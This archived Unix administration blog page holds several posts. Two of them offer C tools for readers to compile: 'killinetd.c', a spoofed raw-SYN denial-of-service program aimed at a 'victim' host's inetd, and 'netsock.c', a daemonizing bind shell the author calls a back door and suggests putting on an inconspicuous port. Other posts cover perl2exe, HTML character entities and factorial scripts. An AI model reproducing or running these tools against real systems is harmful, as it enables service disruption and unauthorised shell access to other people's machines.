skip to main | skip to sidebar
Showing posts with label code. Show all posts
Showing posts with label code. Show all posts

Monday, April 27, 2009

One Of The Many Reasons Inetd Isn't Around Any More On Linux Or Unix

Hey There,

I decided to comb through some older code I had laying around for today's post since I'll be waking up 5:30am (about 3 and 1/2 hours early) to get to work today (or tomorrow, if you're reading this post when it's "actually" been published ;) and I found this little nugget lying around that may allow me to get some fitful rest before my alarm clock goes off :P

Let me state right off the bat that "this code is not mine." Also, "I have no idea who wrote it." I'm sure it was no one I worked with in the past and I'm doubly sure that it wasn't me (it's too well written ;). Admittedly, I only did Google searching to try and found out the rightful owner, so that I could give attribution, but I couldn't find anything that resembled this. It may just be the search terms I used. Sometimes when you Google for "White China" you end up with nothing but links to web pages about Scandanavian Basket Weaving... who knows? ;)

In any event, I thought this was interesting (and thought a few of you out there might find it interesting as well). It may require some modification to work on your machine, but it's pretty straightforward and easy to compile. It also does it's job; it kills inetd. That's probably why I saved it as killinetd.c ;) Worst case, it may provide you with some insight into a c code problem you're having trouble solving that's almost completely unrelated :)

You should be able to compile it (using gcc, since it's free) like this:

host # gcc -o killinetd killinetd.c

If, for some reason, your system links back and requires socket libraries to compile, you can generally get away with:

host # gcc -o killinetd killinetd.c -lsocket -lnsl

You may need only one of the "libsocket" and "libnsl" references above, or you may need both. It highly depends on what OS you're compiling this on.

If you still have a system that uses the old-fashioned inetd (not xinetd or the updated Solaris-type inetd with smf (the one were you update it with inetconv instead of just sending a HUP signal to inetd)), this will probably work.

Enjoy! But enjoy responsibly ;)

Cheers,

NOTE: This code is the intellectual property of whomever originally wrote it. If you can email us (via the link at the upper right of the blog) and provide sufficient evidence that this code is yours, we will gladly include your name (to give you full attribution), remove it from this blog, replace it with a "Family Circus" cartoon, or pretty much anything you want... within reason ;)



#include <sys/types.h>
#include <inet/led.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <inet/ip.h>
#include <inet/tcp.h>
#include <stdio.h>


#define NPROBES 1

#define SEQ 0x28374839

unsigned short
ip_sum (addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;

/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}

/* mop up an odd byte, if necessary */
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}

/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return (answer);
}


int sock, ssock;

void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) {
char buf[65536];
struct { /* rfc 793 tcp pseudo-header */
unsigned long saddr, daddr;
char mbz;
char ptcl;
unsigned short tcpl;
} ph;

struct sockaddr_in sin; /* how necessary is this? */

ph.saddr=ih->saddr;
ph.daddr=ih->daddr;
ph.mbz=0;
ph.ptcl=IPPROTO_TCP;
ph.tcpl=htons(sizeof(*th)+dlen);
memcpy(buf, &ph, sizeof(ph));
memcpy(buf+sizeof(ph), th, sizeof(*th));
memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen);
memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4);
th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1);

memcpy(buf, ih, 4*ih->ihl);
memcpy(buf+4*ih->ihl, th, sizeof(*th));
memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen);
memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4);

ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1);
memcpy(buf, ih, 4*ih->ihl);

sin.sin_family=AF_INET;
sin.sin_port=th->dest;
sin.sin_addr.s_addr=ih->daddr;

if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0,
&sin, sizeof(sin))<0) {
perror("sendto");
exit(1);
}
}




probe_seq(unsigned long my_ip, unsigned long their_ip, unsigned short port) {
int i;
struct iphdr ih;
struct tcphdr th;
char buf[1024];

ih.version=4;
ih.ihl=5;
ih.tos=0; /* XXX is this normal? */
ih.tot_len=sizeof(ih)+sizeof(th);
ih.id=htons(6969);
ih.frag_off=0;
ih.ttl=30;
ih.protocol=IPPROTO_TCP;
ih.check=0;
ih.saddr=my_ip;
ih.daddr=their_ip;

th.source=htons(9999);
th.dest=htons(port);
th.seq=htonl(SEQ+i);
th.ack_seq=0;
th.res1=0;
th.doff=sizeof(th)/4;
th.fin=0;
th.syn=1;
th.rst=0;
th.psh=0;
th.ack=0;
th.urg=0;
th.res2=0;
th.window=htons(512);
th.check=0;
th.urg_ptr=0;

send_tcp_segment(&ih, &th, &ih, 0);

}

unsigned long getaddr(char *name) {
struct hostent *hep;

hep=gethostbyname(name);
if(!hep) {
fprintf(stderr, "Unknown host %s\n", name);
exit(1);
}
return *(unsigned long *)hep->h_addr;
}


main(int argc, char **argv) {
unsigned long me=htonl(0x980101ae), victim;
int port=13;
struct hostent *hep;

if(argc<2) {
printf("Usage: %s target [port [source]]\n", argv[0]);
exit(1);
}

if(argc>=2)
victim=getaddr(argv[1]);

if(argc>=3)
port=atoi(argv[2]);

if(argc>=4)
me=getaddr(argv[3]);


ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(sock<0) {
perror("socket (raw)");
exit(1);
}

probe_seq(me, victim, port);
}




, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only . See our Mission And Policy Statement for further details.

Posted by Mike Golvach at 12:43 AM  

, , , , , , ,

Tuesday, April 14, 2009

Compiling Perl Into Binary Code On Linux And Unix. Cool, But...

Hey there,

Since as long back as I can remember, the Perl compiler has always been a vague, yet distant objective. Something that, when I was really into it, wasn't fully supported and didn't work unless you rewrote it yourself (which kind of ran contrary to the reason you were using Perl in the first place: To get complicated tasks taken care of quickly!)

Over the years, I've seen different front-ends come and go (a few of them which looked pretty slick), but I never bothered to check any of them out to a great degree. If I absolutely "had" to write something in "C," then I would. Otherwise, I'd go with Perl. Actually, my coding philosophy is a bit more pliable. Basically, given that I've been monkeying around with Unix and Linux (for pay) for 13 years or so, I tend to go with whatever is easiest, most reliable and most portable depending upon the task at hand. If it can be written in a "find" statement, that's good enough for me. Shell script, Sed and Awk (which usually end up in a Shell script), tcl, tk, expect, Perl, Python, C; whatever is the simplest way to resolve a problem and not kill my machines or compromise security to a great degree; that's what I go with. I see no point in writing a Perl script to open up a file descriptor to read STDIN, parse that and spit out lines containing the word "hi," like in this example:

#!/usr/bin/perl

# perl.pl - A complete waste of time ;)

open(FILE, "<myfile.txt");
@file=<FILE>;
close(FILE);

foreach $x (@file) {
print $x if ( $x =~ /hi/ );
}


host # ./perl.pl
hi there how are you?
Say hi to the mrs. for me


When simply typing (or making this into a one-line shell script):

host # grep hi myfile.txt
hi there how are you?
Say hi to the mrs. for me


will get me the exact same results. Admittedly, my Perl script above was a bit bloated, but the excess goes toward the point I'm making. At least I hope it does ;)

I came across an interesting product (Read: Not Free) called perl2exe that caught my attention since it can compile code for different OS's (derived from your original Perl script) and (after testing), actually works quite well. You can check it out for a free 30 day trial , although you should be aware that all of your generated code will have an advertisement tacked on the end and a 2 second delay. It'll also help you to know (if you want to check it out) that you need to download all the different OS packages (not just the one for the OS on which you're going to install) if you want to use the cross-platform code generation feature. It will compile code for Linux on a Unix box, but you have to download both the Linux and Unix distro gzipp'ed tarballs in order to do this. I'm not sure why. It may be just be another pain-in-the-arse designed to convince you to buy; but I am by no means, and in no way, shape or form, suggesting that you do so. And I'll tell you why...

Although this is one of the nicest packages, for compiling Perl scripts into executable binary code, that I've come across in a while (ease of use, etc) it still fails to address the one "major" flaw of all Perl-To-Binary conversion tools on the market. When you compile your Perl Script, you've lost all the flexibility you began using Perl for in the first place! No more inline editing for you ;)

For instance, a while back, we did a post on getting the year from Solaris' wtmpx file. Taking that Perl script and converting it to binary was a snap, like so:

host # time perl2exe -o rip_wtmpx rip_wtmpx.pl
Perl2Exe V9.100 Copyright (c) 1997-2008 IndigoSTAR Software

This is an evaluation version of Perl2Exe, which may be used for 30 days.
For more information see the attached pxman.htm file,
or visit http://www.indigostar.com

Converting 'rip_wtmpx.pl' to rip_wtmpx

real 0m0.506s
user 0m0.382s
sys 0m0.102s


Done in about a half a second. And, much to my amazement, it worked perfectly:

host # ./rip_wtmpx
PROCESSING WTMPX FILE FOR CROSS-CHECKING: .....
PROCESSED 2393 ENTRIES

root Thu Nov 6 13:42:07 2008
root Thu Nov 6 13:48:00 2008
root Thu Nov 6 13:51:58 2008
root Thu Nov 6 13:54:12 2008
root Thu Nov 6 14:38:20 2008
root Thu Nov 6 14:39:52 2008
root Thu Nov 6 14:39:54 2008
...


Which is the same result I get from running the Perl script directly (The whole point of it was to get the "year" from wtmpx, since the "last" command, and others like it, don't seem to want to give out that information, even though it's in the wtmp/utmp struct and proves very useful if you don't rotate your logs every year like I obviously don't ;)

But, then, you may recall that we followed up that post with a post on how to get the year from lastlog on Linux since Linux's implementation of the wtmp(x) struct had a totally different "pack" template than the one used on Solaris. I was getting around this by coding a mixture of both scripts and having it evaluate the host OS and act accordingly. Even so, for the odd machine (or new OS implementation we rolled out) I'd have to make slight tweaks. And that (although it's a pitiful example, I know ;) is where the whole "convenience" of binary Perl falls apart. Now, everytime I want to make a simple change (in this extremely simple example) I have to update my Perl script, regenerate binary code from it, for all the OS's required, and then redistributed all of that. The alternative, using just Perl, would be to modify the Perl script and redistribute the one version everywhere.

True, in this instance, there doesn't seem to be that much difference (just multiply it by a larger number of machines on your server farm and it gets worse ;), but the "convenience" really makes a difference when you find yourself on a machine that's got some weird kink in it. If you're using a straight-up Perl script, you can just edit it slightly to adjust for however fugged-up that particular box is. You don't have to maintain a separate binary. Odds are, the goof you're compensating for will be fixed the next time you patch or upgrade the OS.

And if security is a concern, you can still avoid this by either implementing effective external security mechanisms (extended facls, role access databases, etc) or figuring out a way to achieve your desired end that doesn't pose a security risk. I don't know if Perl (to this day) actually "recommends" that you ever write any "suid" code (generally speaking, creating a script or binary that will be run as a different user - Set User ID - usually one with elevated system privileges) in Perl script unless you're protecting it by taking additional measures. Generally, if I "have" to write an "suid" program, I'll write it in "C" (like the one in our post on securing suid programs with a simple C wrapper, which doesn't even come close to the protection provided by the one-and-only Wietse Zweitze Venema's mother of all SUID C Wrappers .

Bottom line: It's up to you if you want to implement this sort of functionality. To my way of thinking, short of ensuring you don't get screwed on a work-for-hire at an institution in which you have no trust, there's really no reason to encrypt (I mean convert into binary ;) your Perl script. It's a pretty cool idea, but...

Cheers,

, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only . See our Mission And Policy Statement for further details.

Posted by Mike Golvach at 12:56 AM  

, , , , , , ,

Monday, February 2, 2009

HTML Character Entities On Linux Or Unix - Follow Up

Hey there,

Today's post hearkens back to a post we ran back in December of 2007 regarding publishing Perl, shell and other code on Blogspot . The problem isn't really limited to blogspot.com, of course. Most sites that let you directly add content, and use a standard markup tagging system, have issues with many of the symbols found in Linux and Unix programming/shell code. I, personally, have gained a much deeper appreciation for bbcode, although it suffers from the same problems depending on what you want to "really" show on your page, just to a lesser degree.

The issue with publishing code in HTML (See, I'm going to stop kicking blogspot.com now ;) is that many of the symbols are the same as those used in the markup language itself. For instance, the < and > characters can't be written exactly as they appear when you're writing an HTML page to showcase your code, since all HTML tags (I believe ;) open with the < character and close with the > character. This can result in errors ranging from problems saving your posts to entire chunks of your code disappearing without any errors generated at all (the latter being the most disarming)

Obviously, I've been meaning to do this for a while (only 14 months from intent to action ;), but - for today - I've put together a list of common HTML character entities and how they should "really" be typed when you write your HTML. If I missed any, I'd love to hear from you, as I'd prefer for this to be a complete list, if that's at all possible :)

NOTE: Not all of these may display correctly in your web browser, since some may not be in your native character-set. Most of the fancy stuff (Greek, foreign characters, etc) was found on Elizabeth Castro's HTML XHTML Character Entity Page. Please visit that site to ensure that the information found here hasn't been expanded upon, and give her the credit she deserves for compiling so many more characters than I could ever imagine having to type :)

Enjoy, and welcome back to the work week (hopefully, you're on vacation :)

Cheers,

BASIC CHARACTERS (REGULAR):

& is actually typed as: &amp;
> is actually typed as: &gt;
< is actually typed as: &lt;
" is actually typed as: &quot;
´ is actually typed as: &acute;
¸ is actually typed as: &cedil;
ˆ is actually typed as: &circ;
¯ is actually typed as: &macr;
· is actually typed as: &middot;
˜ is actually typed as: &tilde;
¨ is actually typed as: &uml;
° is actually typed as: &deg;
÷ is actually typed as: &divide;
½ is actually typed as: &frac12;
¼ is actually typed as: &frac14;
¾ is actually typed as: &frac34;
≥ is actually typed as: &ge;
≤ is actually typed as: &le;
− is actually typed as: &minus;
² is actually typed as: &sup2;
³ is actually typed as: &sup3;
× is actually typed as: &times;
¢ is actually typed as: &cent;
¤ is actually typed as: &curren;
€ is actually typed as: &euro;
£ is actually typed as: &pound;
¥ is actually typed as: &yen;
¦ is actually typed as: &brvbar;
• is actually typed as: &bull;
© is actually typed as: &copy;
† is actually typed as: &dagger;
‡ is actually typed as: &Dagger;
⁄ is actually typed as: &frasl;
… is actually typed as: &hellip;
¡ is actually typed as: &iexcl;
ℑ is actually typed as: &image;
¿ is actually typed as: &iquest;
‎ is actually typed as: &lrm;
— is actually typed as: &mdash;
– is actually typed as: &ndash;
¬ is actually typed as: &not;
‾ is actually typed as: &oline;
ª is actually typed as: &ordf;
º is actually typed as: &ordm;
¶ is actually typed as: &para;
‰ is actually typed as: &permil;
′ is actually typed as: &prime;
″ is actually typed as: &Prime;
ℜ is actually typed as: &real;
® is actually typed as: &reg;
‏ is actually typed as: &rlm;
§ is actually typed as: &sect;
­ is actually typed as: &shy;
¹ is actually typed as: &sup1;
™ is actually typed as: &trade;
℘ is actually typed as: &weierp;
„ is actually typed as: &bdquo;
« is actually typed as: &laquo;
“ is actually typed as: &ldquo;
‹ is actually typed as: &lsaquo;
‘ is actually typed as: &lsquo;
» is actually typed as: &raquo;
” is actually typed as: &rdquo;
› is actually typed as: &rsaquo;
’ is actually typed as: &rsquo;
‚ is actually typed as: &sbquo;
  is actually typed as: &emsp;
  is actually typed as: &ensp;
is actually typed as: &nbsp;
  is actually typed as: &thinsp;
‍ is actually typed as: &zwj;
‌ is actually typed as: &zwnj;

SOMEWHAT IRREGULAR CHARACTERS:

Á is actually typed as: &Aacute;
á is actually typed as: &aacute;
 is actually typed as: &Acirc;
â is actually typed as: &acirc;
Æ is actually typed as: &AElig;
æ is actually typed as: &aelig;
À is actually typed as: &Agrave;
à is actually typed as: &agrave;
Å is actually typed as: &Aring;
å is actually typed as: &aring;
à is actually typed as: &Atilde;
ã is actually typed as: &atilde;
Ä is actually typed as: &Auml;
ä is actually typed as: &auml;
Ç is actually typed as: &Ccedil;
ç is actually typed as: &ccedil;
É is actually typed as: &Eacute;
é is actually typed as: &eacute;
Ê is actually typed as: &Ecirc;
ê is actually typed as: &ecirc;
È is actually typed as: &Egrave;
è is actually typed as: &egrave;
Ð is actually typed as: &ETH;
ð is actually typed as: &eth;
Ë is actually typed as: &Euml;
ë is actually typed as: &euml;
Í is actually typed as: &Iacute;
í is actually typed as: &iacute;
Î is actually typed as: &Icirc;
î is actually typed as: &icirc;
Ì is actually typed as: &Igrave;
ì is actually typed as: &igrave;
Ï is actually typed as: &Iuml;
ï is actually typed as: &iuml;
Ñ is actually typed as: &Ntilde;
ñ is actually typed as: &ntilde;
Ó is actually typed as: &Oacute;
ó is actually typed as: &oacute;
Ô is actually typed as: &Ocirc;
ô is actually typed as: &ocirc;
Œ is actually typed as: &OElig;
œ is actually typed as: &oelig;
Ò is actually typed as: &Ograve;
ò is actually typed as: &ograve;
Ø is actually typed as: &Oslash;
ø is actually typed as: &oslash;
Õ is actually typed as: &Otilde;
õ is actually typed as: &otilde;
Ö is actually typed as: &Ouml;
ö is actually typed as: &ouml;
Š is actually typed as: &Scaron;
š is actually typed as: &scaron;
ß is actually typed as: &szlig;
Þ is actually typed as: &THORN;
þ is actually typed as: &thorn;
Ú is actually typed as: &Uacute;
ú is actually typed as: &uacute;
Û is actually typed as: &Ucirc;
û is actually typed as: &ucirc;
Ù is actually typed as: &Ugrave;
ù is actually typed as: &ugrave;
Ü is actually typed as: &Uuml;
ü is actually typed as: &uuml;
Ý is actually typed as: &Yacute;
ý is actually typed as: &yacute;
ÿ is actually typed as: &yuml;
Ÿ is actually typed as: &Yuml;
ℵ is actually typed as: &alefsym;
∧ is actually typed as: &and;
∠ is actually typed as: &ang;
≈ is actually typed as: &asymp;
∩ is actually typed as: &cap;
≅ is actually typed as: &cong;
∪ is actually typed as: &cup;
∅ is actually typed as: &empty;
≡ is actually typed as: &equiv;
∃ is actually typed as: &exist;
ƒ is actually typed as: &fnof;
∀ is actually typed as: &forall;
∞ is actually typed as: &infin;
∫ is actually typed as: &int;
∈ is actually typed as: &isin;
⟨ is actually typed as: &lang;
⌈ is actually typed as: &lceil;
⌊ is actually typed as: &lfloor;
∗ is actually typed as: &lowast;
µ is actually typed as: &micro;
∇ is actually typed as: &nabla;
≠ is actually typed as: &ne;
∋ is actually typed as: &ni;
∉ is actually typed as: &notin;
⊄ is actually typed as: &nsub;
⊕ is actually typed as: &oplus;
∨ is actually typed as: &or;
⊗ is actually typed as: &otimes;
∂ is actually typed as: &part;
⊥ is actually typed as: &perp;
± is actually typed as: &plusmn;
∏ is actually typed as: &prod;
∝ is actually typed as: &prop;
√ is actually typed as: &radic;
⟩ is actually typed as: &rang;
⌉ is actually typed as: &rceil;
⌋ is actually typed as: &rfloor;
⋅ is actually typed as: &sdot;
∼ is actually typed as: &sim;
⊂ is actually typed as: &sub;
⊆ is actually typed as: &sube;
∑ is actually typed as: &sum;
⊃ is actually typed as: &sup;
⊇ is actually typed as: &supe;
∴ is actually typed as: &there4;
Α is actually typed as: &Alpha;
α is actually typed as: &alpha;
Β is actually typed as: &Beta;
β is actually typed as: &beta;
Χ is actually typed as: &Chi;
χ is actually typed as: &chi;
Δ is actually typed as: &Delta;
δ is actually typed as: &delta;
Ε is actually typed as: &Epsilon;
ε is actually typed as: &epsilon;
Η is actually typed as: &Eta;
η is actually typed as: &eta;
Γ is actually typed as: &Gamma;
γ is actually typed as: &gamma;
Ι is actually typed as: &Iota;
ι is actually typed as: &iota;
Κ is actually typed as: &Kappa;
κ is actually typed as: &kappa;
Λ is actually typed as: &Lambda;
λ is actually typed as: &lambda;
Μ is actually typed as: &Mu;
μ is actually typed as: &mu;
Ν is actually typed as: &Nu;
ν is actually typed as: &nu;
Ω is actually typed as: &Omega;
ω is actually typed as: &omega;
Ο is actually typed as: &Omicron;
ο is actually typed as: &omicron;
Φ is actually typed as: &Phi;
φ is actually typed as: &phi;
Π is actually typed as: &Pi;
π is actually typed as: &pi;
ϖ is actually typed as: &piv;
Ψ is actually typed as: &Psi;
ψ is actually typed as: &psi;
Ρ is actually typed as: &Rho;
ρ is actually typed as: &rho;
Σ is actually typed as: &Sigma;
σ is actually typed as: &sigma;
ς is actually typed as: &sigmaf;
Τ is actually typed as: &Tau;
τ is actually typed as: &tau;
Θ is actually typed as: &Theta;
θ is actually typed as: &theta;
ϑ is actually typed as: &thetasym;
ϒ is actually typed as: &upsih;
Υ is actually typed as: &Upsilon;
υ is actually typed as: &upsilon;
Ξ is actually typed as: &Xi;
ξ is actually typed as: &xi;
Ζ is actually typed as: &Zeta;
↵ is actually typed as: &crarr;
↓ is actually typed as: &darr;
⇓ is actually typed as: &dArr;
↔ is actually typed as: &harr;
⇔ is actually typed as: &hArr;
← is actually typed as: &larr;
⇐ is actually typed as: &lArr;
→ is actually typed as: &rarr;
⇒ is actually typed as: &rArr;
↑ is actually typed as: &uarr;
⇑ is actually typed as: &uArr;
♣ is actually typed as: &clubs;
♦ is actually typed as: &diams;
♥ is actually typed as: &hearts;
♠ is actually typed as: &spades;
◊ is actually typed as: &loz;


, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only . See our Mission And Policy Statement for further details.

Monday, April 7, 2008

Running A Linux Or Unix Shell On A Network Socket

Hey There,

Thought we'd start the week off with something interesting and off the administrative path. Today's post is c code that can be compiled simply, using GCC (or your favorite compiler), like so:

host # gcc -o netsock -o netsock.c

and works, at a basic level, by creating a socket (much like our earlier posts on ethically scanning ports ), calling a bind operation on it and then duplicating the already existing file descriptors (which allows you to use it interactively, utilizing the server's most basic shell).

One note should be made that, depending upon how your terminal, or server, deals with stty's echo variations, you may have to be creative and "type in the dark" to get results back once you connect. Lots of socket and/or terminal I/O issues are possible and, on several machines I've tested this on, I had to be a little clever to get the shell to respond correctly. You'll see what I mean ;)

Some of this code was written by me today, some of it was written by me previously and ripped from older programs and some was collected by me over the years in helpful examples from other folks, but I think the outcome (maybe due to these facts) is fairly unique. I only wish I could give credit to the people who wrote some of the snippets of code I have on my hard drive. If you're out there and can recognize your contribution within this program: Thank you :)

This code may require some modification depending upon where your server's include files are. This was compiled and tested on an older Solaris 2.6 box. Unfortunately, this sort of activity is too high profile to test on any of our more recent machines, since the security department is always looking for signs of an attack on the newer (and production) servers.

During compile time, if you get an error like this:

sys/byteorder.h: No Such File Or Directory

You can fix that by changing that include line from:

#include <sys/byteorder.h>

to

#include <sys/endian.h>

and another common error - " error: too few arguments to function `setpgrp'"

can be remedied by changing:

setpgrp();

to:

setpgrp(getpid(),0);

or:

setpgrp(getpid(),getpid()); <--- If you're not root and going to run this on a port higher than 1024.

Once it's compiled, just Telnet to the port and you've got a shell connection on your internet socket!

host # telnet localhost 40236
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
^]


This, of course, is being published to demonstrate a principle (much like our older post on generating every possible password in a shadow file ), but it could be used for more "counter-productive" reasons ;) Ethically, again, I can't recommend that you use this for any reason other than to say you did it and have a little good honest fun :) Note that the "port" defined near the top of the code is arbitrary. I try to pick one that doesn't get used very often. No sense in running this on port 80 on a web server, since a back door shouldn't be too obvious, by definition ;)

In a future post, I'll port this to Perl (I won't be porting this one to shell script, since direct socket manipulation is almost never done at that level - at least, I've never seen it. ...possible extra future post? ;)

For those of you are into doing the porting thing yourselves, checking out our previous posts on checking whether your web server is up and forked socket scripting in Perl should point you in the right direction. I think everything you'll need is in those two posts except for the file descriptor duplication (dup2) functionality.

Enjoy! Hope your week is starting off well and be careful :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

/*****************************************************
* netsock.c - Open up a shell on a network socket
*
* 2008 - Mike Golvach - eggi@comcast.net
*
*Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
*****************************************************/
#define PORT 40236
#include <netdb.h> // gethostbyname
#include <signal.h> // sigignore
#include <stdio.h> // printf, sizeof, fputs, close
#include <stdlib.h> // exit
#include <strings.h> // bzero, strlen
#include <unistd.h> // fork, read, write
#include <arpa/inet.h> // inet_addr
#include <netinet/in.h> // sockaddr_in
#include <sys/byteorder.h> // htons, htonl
#include <sys/socket.h> // socket, bind, connect, listen, accept, sockaddr
#include <sys/uio.h> // recv

oops(char *message)
{
perror(message);
exit(1);
}

int socket_des, socket_cli, socket_rc, socket_len, server_pid, cli_pid;
struct sockaddr_in serv_addr; struct sockaddr_in client_addr;

int main ()
{
socket_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (socket_des == -1) exit(-1);

bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
socket_rc = bind(socket_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (socket_rc != 0) exit(-1);

if (fork() != 0) exit(0);

setpgrp();
signal(SIGHUP, SIG_IGN);

if (fork() != 0) exit(0);

socket_rc = listen(socket_des, 5);
if (socket_rc != 0) exit(0);

while (1) {
socket_len = sizeof(client_addr);
socket_cli = accept(socket_des, (struct sockaddr *) &client_addr, &socket_len);
if (socket_cli < 0) exit(0);

cli_pid = getpid();
server_pid = fork();

if (server_pid != 0) {
dup2(socket_cli,0);
dup2(socket_cli,1);
dup2(socket_cli,2);
execl("/bin/sh","sh",(char *)0);
close(socket_cli);
exit(0); }

close(socket_cli);
}

}


, Mike




[フレーム]

Wednesday, December 26, 2007

Simple Factorial Generation - Perl versus Bash

Hey there,

I've seen this floating around the boards, so I thought I'd add my 2 cents. Lots of folks (more homework? When will it end?) are looking for scripts to help them find the factorial of any given number.

For those of you who may not know, the factorial of a number is the number itself multiplied by all the numbers from 1 up to that number. So, the factorial of 3 is: 1 times 2 times 3 = 6

Some of the scripts I see are severely convoluted, so I thought I'd put this up here as a little homework help. It can be solved with Perl in 10 lines (Could be less if I wasn't so hung up on formatting ;)

Interestingly enough - it can be done with the same amount of lines in Linux's bash shell, like so (assuming a recursive function). Or, as I wrote in a previous post, you "could" do it in 1 ;)

factorial () {

local number=1ドル
if [ "$number" -eq 0 ]
then
factorial=1
else
let "next = number - 1"
factorial $next
let "factorial = $number * $?"
fi
return $factorial
}



Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License


#!/usr/bin/perl

#
# 2007 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

print "factorial of: ";
chomp($factorial = <STDIN>);
$number = $factorial;
if ( $factorial == 0 ) {
$factorial = 1;
}
for ( $factor = $factorial - 1; $factor>= 1; --$factor ) {
$factorial *= $factor;
}
printf("Factorial of %d is : %g\n", $number, $factorial);


Enjoy,

, Mike




affiliate program
l

Tuesday, December 25, 2007

Corrected Some Blogspot Code Auto-Rewrites in Previous Two Posts

Just a quick shout.

I noticed a few errors caused by Blogspot's tag interpretation that made the code I posted for the last 2 days unworkable. I've fixed these errors.

If you notice any others (they almost always have to do with the < and > characters), please feel free to email me and let me know, and I'll be happy to revise whatever didn't make it to the post page as I intended.

You can check out this post regarding some of the problems posting code to blogspot. Maybe it will help you out a bit, too :)

, Mike




[フレーム]

Sunday, December 9, 2007

Publishing Perl, Shell and Other Code on Blogspot

Good Day

Today's post is slightly off-topic, although directly to the point of what this blog is about. Today, I'd like to pass on a few tips that might help fellow bloggers, like myself, in the future.

The tips we'll be going over today will help tremendously (especially if you're just getting started) if you publish a blog that includes lots of examples of scripting and/or code. The default setup and editors for Blogspot and Blogger provide certain mechanisms for making this possible, however, they're not entirely obvious. I spent a good deal of time piecing this stuff together from various posts in the Google Blog Help group and Blogspot's Help Center. Many thanks to all the people who contribute to these sites.

The first thing to note is that Blogspot/Blogger does allow for you to include a <code> tag, which it seems to honor. Unfortunately, this does not preserve the integrity of your code. All it does is indent the entire section of code slightly and remove all indentation!

The <blockquote> tag, also does approximately the same thing.

In order to get your code to post "as it is," you need to include both a <blockquote> and a <pre> tag (with closing tags, of course - e.g. </pre> </blockquote>).

But, that's not the end. If you use < redirects or Perl's while input markers (< and >) you'll get nailed with gigantic "Tags cannot be unclosed" errors that sometimes end up being larger than your post itself, and prevent it from publishing.

The only reason you can see the one's I've put up in this post is that I entered them as "&lt;" and "&gt;" (for < and > respectively). Even more confusing; in order for me to print out those special characters so that they showed up the way you need to type them, I had to enter them differently. For instance &lt; had to be entered as & amp; lt; (Just remove the spaces between the 3 elements. I'm getting dizzy from all the dereferencing ;)

I'll be going through all my old posts and throwing in those format tags (luckily I've only been at this for a few months (about 70 odd posts))

Hopefully, this post will be helpful for anyone looking for information specific to including computer code and script in your Blogspot/Blogger posts.

BTW, you would not believe how convoluted this post looks in the editor ;)

Example straight code:


if [ this -gt that ]
then
how_about_that=1
fi < /export/home/food.txt
<-- Note space added before /export to avoid getting the publishing error.

Example formatted code:


if [ this -gt that ]
then
how_about_that=1
fi </export/home/food.txt


Best Wishes,

, Mike




affiliate program

Subscribe to: Comments (Atom)
 

AltStyle によって変換されたページ (->オリジナル) /